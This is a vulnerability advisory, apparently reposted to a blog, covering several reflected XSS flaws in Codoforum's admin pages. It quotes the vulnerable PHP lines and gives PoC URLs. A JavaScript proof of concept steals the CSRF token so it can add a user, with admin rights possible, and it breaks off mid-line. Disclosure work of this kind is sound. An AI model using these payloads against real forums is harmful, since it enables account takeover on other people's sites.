- sys/Ext/hybridauth/install.php:346 if( isset( $item["callback"] ) && $item["callback"] ){ $provider_callback_url = '' . $GLOBAL_HYBRID_AUTH_URL_BASE . '?hauth.done=' . $provider . ''; } XSS 2, 3 & 4 The page that manages users does not encode user input before echoing it, and is thus open to XSS. The vulnerable parameters are "username", "role", as well as "status". As the function retrieving POST request parameters uses GET parameters as fallback, it is possible to exploit this issue via POST or GET request. Sample POC: http://localhost/codoforum/admin/index.php?page=users&username=">&role=2&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2">&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2&status=9"> Code: // admin/modules/users.php:261 $role = getPost('role', '0'); $smarty->assign('role_selected', (($role == '0') ? '2' : $role)); [...] $filter_url.="&role=" . $role; [...] $status = getPost('status', 99); $smarty->assign('status_selected', $status); [...] $filter_url.="&status=" . $status; [...] $username = getPost('username', ""); $smarty->assign('entered_username', $username); [...] $filter_url.="&username=" . $username; XSS 5 The page that shows a list of users does not encode the "pno" argument, and is thus open to XSS. Sample POC: http://localhost/codoforum/admin/index.php?page=users&sort_order=DESC&pno=1">&sort_by=status Code: admin/modules/users.php:326 $sort_url = "index.php?page=users&sort_order=" . $isor . $filter_url . '&pno=' . $_GET['pno']; //put inverted link only for table heading $smarty->assign('sort_url', $sort_url); XSS 6 The page that shows plugins does not properly encode the "plugin" argument, and is thus open to XSS. Sample POC: http://localhost/codoforum/admin/index.php?page=ploader&plugin= Code: admin/modules/ploader.php:85
- '.$_GET['plugin'].'
- 3. Proof of Concept Codes: This proof of concept adds a new user by bypassing CSRF protection. In a similar way, the new user could be given admin rights. The script can be loaded from an external server by injecting as payload for the XSS vulnerabilities described above. var csrfProtectedPage = 'http://localhost/codoforum/admin/index.php?page=users'; // get valid token for current request var html = get(csrfProtectedPage); document.body.innerHTML = html; var form = document.getElementById('add_user_form'); var token = form.CSRF_token.value; // build form with valid token document.body.innerHTML += '
Source: Gmail -> IFTTT-> Blogger
No comments:
Post a Comment